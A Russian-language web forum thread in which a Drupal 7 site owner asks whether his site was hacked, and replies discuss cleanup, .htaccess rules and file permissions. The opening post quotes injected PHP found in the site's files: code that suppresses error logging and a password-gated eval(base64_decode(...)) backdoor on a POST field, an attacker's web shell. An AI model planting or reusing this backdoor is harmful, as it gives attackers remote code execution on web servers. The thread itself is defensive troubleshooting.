@eval взлом всех модулей?

29 мая 2018 в 0:47
Аватар пользователя Rusic Rusic 0 38

Доброго времени суток.

drupal 7.59
модули все последние, с логах обновлений все зеленое.

Хотел бы уточнить, несколько недель назад решал вопрос с падением сайта, в итоге заменил все фалы модуля recaptcha, обновил ядро и сайт ожил. Однако теперь сайт упал, при там почистив cache сайт поднимается, но грузится крайне медленно, и не только из-за кеша. Посмотрел фалы модулей, и даже корневые файлы, хотя дата изменения их не изменялась, во всех файлах php изначально отключается вывод всех ошибок

error_reporting(0); ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('display_errors','Off');

после выполняется некий php через eval, при том что он по сути я декодировал, проверяет наличие куков

if(md5($_POST["pf"]) === "93ad003d7fc57aae938ba483a65ddf6d") { eval(base64_decode($_POST["cookies_p"])); }
if (strpos($_SERVER['REQUEST_URI'], "post_render" ) !== false) { $patchedfv = "GHKASMVG"; }
if( isset( $_REQUEST['fdgdfgvv'] ) ) { if(md5($_REQUEST['fdgdfgvv']) === "93ad003d7fc57aae938ba483a65ddf6d") { $patchedfv = "SDFDFSDF"; } }
if($patchedfv === "GHKASMVG" ) { ob_end_clean(); die; }

Не и после, включается логировние. В чем вопрос, это взлом? Если да, то как выявить дырявый модуль ? Ведь все было нормально. А теперь после 15 минут включается редирект на вирусные сайты, при том разные, пока не вычистишь кеш

ВложениеРазмер
Иконка изображения вот на такой сайт закидывает7.15 КБ

Комментарии

Hacked не видит лишние файлы. А ведь лишний файл можно вызвать по прямой ссылке, и уже не важно, какая версия друпала установлена.

29 мая 2018 в 14:36

Да вообще сомнительной нужности модуль. Заражение детектируется с первого взгляда, чистка один хрен тотальная, с перезаписью всех модулей это без вариантов.

29 мая 2018 в 16:07

Smile Сомнительная команда diff операционной системы unix-linux вы хотите сказать, но ведь никто не заставлет ей пользоваться? Не нравится - не пользуйтесь - всех то делов. Зрите сразу как уже привыкли.

29 мая 2018 в 16:20

Ээээ... тотально....
А как же проверять всех прошлых разрабов на внесение правок в контриб/ядро??
Такие, к сожалению, существуют.

29 мая 2018 в 16:31

Лишние файлы можно увидеть элементарно и без hacked - на локальной версии конечно. В том же сравнении папок в тотале.
А в остальном Hacked вполне себе удобен - в связке с diff

1 июня 2018 в 11:44

Скрипты вывести по прямой ссылке нельзя... все должно заворачиваться на /index.php
исключение - каталог public - но там запрет на прокрутку скриптов. Вызов скриптов напрямую невозможен за исключением корня сайта, а если возможен - то надо заглянуть в свой .htaccess и проверить настройки своего виртуал хост.
Певое правило должно быть:

# Protect files and directories from prying eyes.
<FilesMatch "\.(engine|inc|info|install|make|module|profile|test|po|sh|.*sql|theme|tpl(\.php)?|xtmpl)(~|\.sw[op]|\.bak|\.orig|\.save)?$|^(\..*|Entries.*|Repository|Root|Tag|Template)$|^#.*#$|\.php(~|\.sw[op]|\.bak|\.orig\.save)$">
  Order allow,deny
</FilesMatch>
29 мая 2018 в 14:47

Это работает только при правильной настройке сервера, то есть не всегда)) однажды я гуглил кусок кода из модуля webform и нашёл в поиске сайт в правительственном домене Филиппин, код которого был полностью проиндексирован))) идеальный бэкап))) после такого я бы не стал так уверенно говорить, что вот прямо нельзя-нельзя вызвать пхп скрипт по прямой ссылке

29 мая 2018 в 21:26

ну и что. в каком то каталоге лежит скрипт php который открывается как текстовый файл, потому что в данном каталоге выполнение скриптов запрещено. ничего страшного кроме загаженного индекса это не несет.

Ну и потом, пришел ты например в магазин покупать салюты домой и тебе там говорят - отличные салюты, абсолютно безопасны при правильной упаковке. Ну и ты - а вы правильно упаковывайте? А тебе продавец: не знаю не знаю... у нас тут из пожаров текучка кадров страшная...
Ну и ты конечно: а, тогда беру!

ну и коли такой офтоп пошел, один знакомый музыкант искренне просто в сердцах возмущается: в чем смысл петь фальшиво?
Вот я тоже: в чем смысл неправильно настраивать сервера?

30 мая 2018 в 15:51

Так! Гусары!!!
Какие права должны быть на файлах в папках модулей и в других местах?

У вас там есть права execute на файлах... а зачем?
chmod в помощь Lol

30 мая 2018 в 21:38

Зачем вам права execute на файлы с расширениями module, inc, info? Вы их чем собираетесь выполнять?
Есть только один модуль с присутсвием файла с расширением php, elisa_cron. И там в инструкции написано: скопируйте его в нужное место .

Друпал мозга костей лечится просто. Разверните дистрибутив Друпал и помотрите какие права на файлы в папке /module - и ведь работает!

1 июня 2018 в 1:19

Так, секунду. Мы ведь говорим о лишних файлах, созданных в результате взлома. Естественно, что они будут создаваться с правами на исполнение. То есть права на файлы здесь вообще ничего не решают. Нужна правильная настройка веб-сервера, чтобы он не пускал вообще никого никуда кроме корня и files, и чтобы не исполнял ничего из files. И отвечая на вопрос выше "зачем сервер настраивать неправильно", хочу отметить, что из коробки любой сервер позволит выполнить что угодно из директории сайта и всех влеженных, т.к. в других движках это может быть необходимо для работы. И вот тут кже с правильной настройкой сервера вряд ли кто-то справится, кроме Бориса.

1 июня 2018 в 7:04

Спасибо всем за уделенное время, вроде почистил и базу (кеш) и файлы, ядро перезалил, а сами модули в большинстве чистил руками, чтобы не зацепить настройки сделанные предыдущим администратором сайта. Пока полет нормальный, да и грузится быстрее, из-за того, что не нужно грузить сторонний сайт.

Модуль Hacked не инициализируется,

Полученный код HTTP: 500 Следует отладочная информация. Путь: /batch?id=1741&op=do Текст Состояния: Internal Server Error Текст Ответа:

30 мая 2018 в 0:42

В папках с модулями нет настроек, они все в базе.

Ещё либы перезалить (а вот тут аккуратнее, могут быть, к примеры стили superfish menu) и файлопомойку прошерстить на скрипты (их быть не должно).

30 мая 2018 в 14:19

ну это тоже говорит о том, что надо дальше заниматься... не работает интерфейс пакетной обработки судя по ответу, проверьте на чем нибудь другом работу батча с индикацией

30 мая 2018 в 15:32

gun_dose wrote:

Естественно, что они будут создаваться с правами на исполнение.

Как раз наоборот, неестественно совершенно.
Сразу после установки всем служебным директориям даются права r-x r-x r-x а файлам в них r-- r-- r-- и все (извини Борис) Права x на директории означают, что можно получать список файлов них.Даже если взломщик получил от имени сервера возможность выполнить код, он ничего не сможет сделать в этих каталогах... ну кроме как получить список файлов
Откуда берутся права r на файлах - от вредного сoвета устанавливать права командой

chmod -R  755 /sites/all

а надо в два захода, сначала задаем всем каталогам и файлам в ветке права r-x, а потом снимаем с файлов x

chmod -R 500 ./sites/all
find ./sites/all -type f -exec chmod a-x {} \;

Это паранодальный режим, в котором обновление модулей возможно только через консоль и sudo. Избыточность кода тут для наглядности

1 июня 2018 в 8:40

Если зловред может выполнять код, то он выполнит chmod и все твои рассуждения идут лесом. Как правило, хозяин папок и файлов в директории тот, от чьего имени работает сервер. Конечно, в упомянутом параноидальном режиме такое не прокатит. Но мы говорим об обычных друпал-сайтах, с обычными для друпала правами и настройками. И в данном контексте можно утверждать с вероятностью 99%, что любой вредоносный пхп-файл можно запустить по прямой ссылке. И пока ты игнорируешь такую возможность, опираясь на фрагментарные знания о системном администрировании, с твоих сайтов могут рассылать спам, майнить и атаковать кого-то.

1 июня 2018 в 9:13

Да нет же !!!
Он не может выполнить chmod если он не владелец сайта и файлов в нем.
Это не мои рассуждения - это моя практика

1 июня 2018 в 9:16

Большой вопрос, как такая настройка скажется на работоспособности сервера. Как правило, владелец всего внутри веб-директории www-data. От его же имени выполняется любой пхп-скрипт. Есть в семёрке вот такая вещь, которая используется очень много где. Кэш js, css, twig-шаблонов и т.д. не будут работать, если пхп-скрипт не может писать в файловую систему.

1 июня 2018 в 10:00

Предлагаю игру - тренировку: я на timeweb создаю на 10 дней учетку с Друпалом (7) и пишу тикеты по настройкам безопасности или прошу их ТП дать конкретные рекомендации, которые я могу выполнить из админки. И сообщаю желающим пароль админки Друпал. Желающие ломают сайт. сообщают о своих удачах. Вместе ищем способы защиты и результаты выкладываем сюда.

1 июня 2018 в 14:04

От всего конечно нет. Как минимум почиканную базу буду иметь, но ее можно восстановить их бэкапа и это 2-3 минуты плюс гемор с потерей изменений

1 июня 2018 в 14:20

но этого недостаточно... если у апача есть права на выполнение команды chmod и chown то конечно он их поменяет. Для предотвращения - апачу должны быть запрещены эти команды либо он не должен владельцем корня сайта и всех его файлов. (тогда то что выше меняет параною на норму chmod -R 755 ./sites/all) К сожалению хостеры испльзуют схему chroot когда апач и юзер - то есть вы - один и тот же юзер. С точки зрения безопасности крайне неудобное сочетание. По этой причине предпочитаю VDS Но и в случае с "обычным хостингом" решается урезанием себя а значит и апача, в правах владельца каталога через тикет в службу ТП или просьбой запретить себе команды chmod. А как же тогда маленькие тесты с кодом? а в другом месте...

1 июня 2018 в 9:07

афтар жжот, собственно, апач-то причём? Это не он делает chmod, а интерпретатор.
Есть куча конфигов кроме Apache + mod_php.

Или предлагаете в дикий safe mode всем переходить?

1 июня 2018 в 10:40

А.. ты не в курсе, что все процессы апача выполняются с правами апача? И даже команды интерпретатора будут выполняться от его имени? ну, нет вопросов

1 июня 2018 в 14:06

Я в курсе, что кроме денвера под винду существует куча вариантов.
А вы в очередной раз безапелляционно пытаетесь навязать своё мнение

3 июня 2018 в 21:01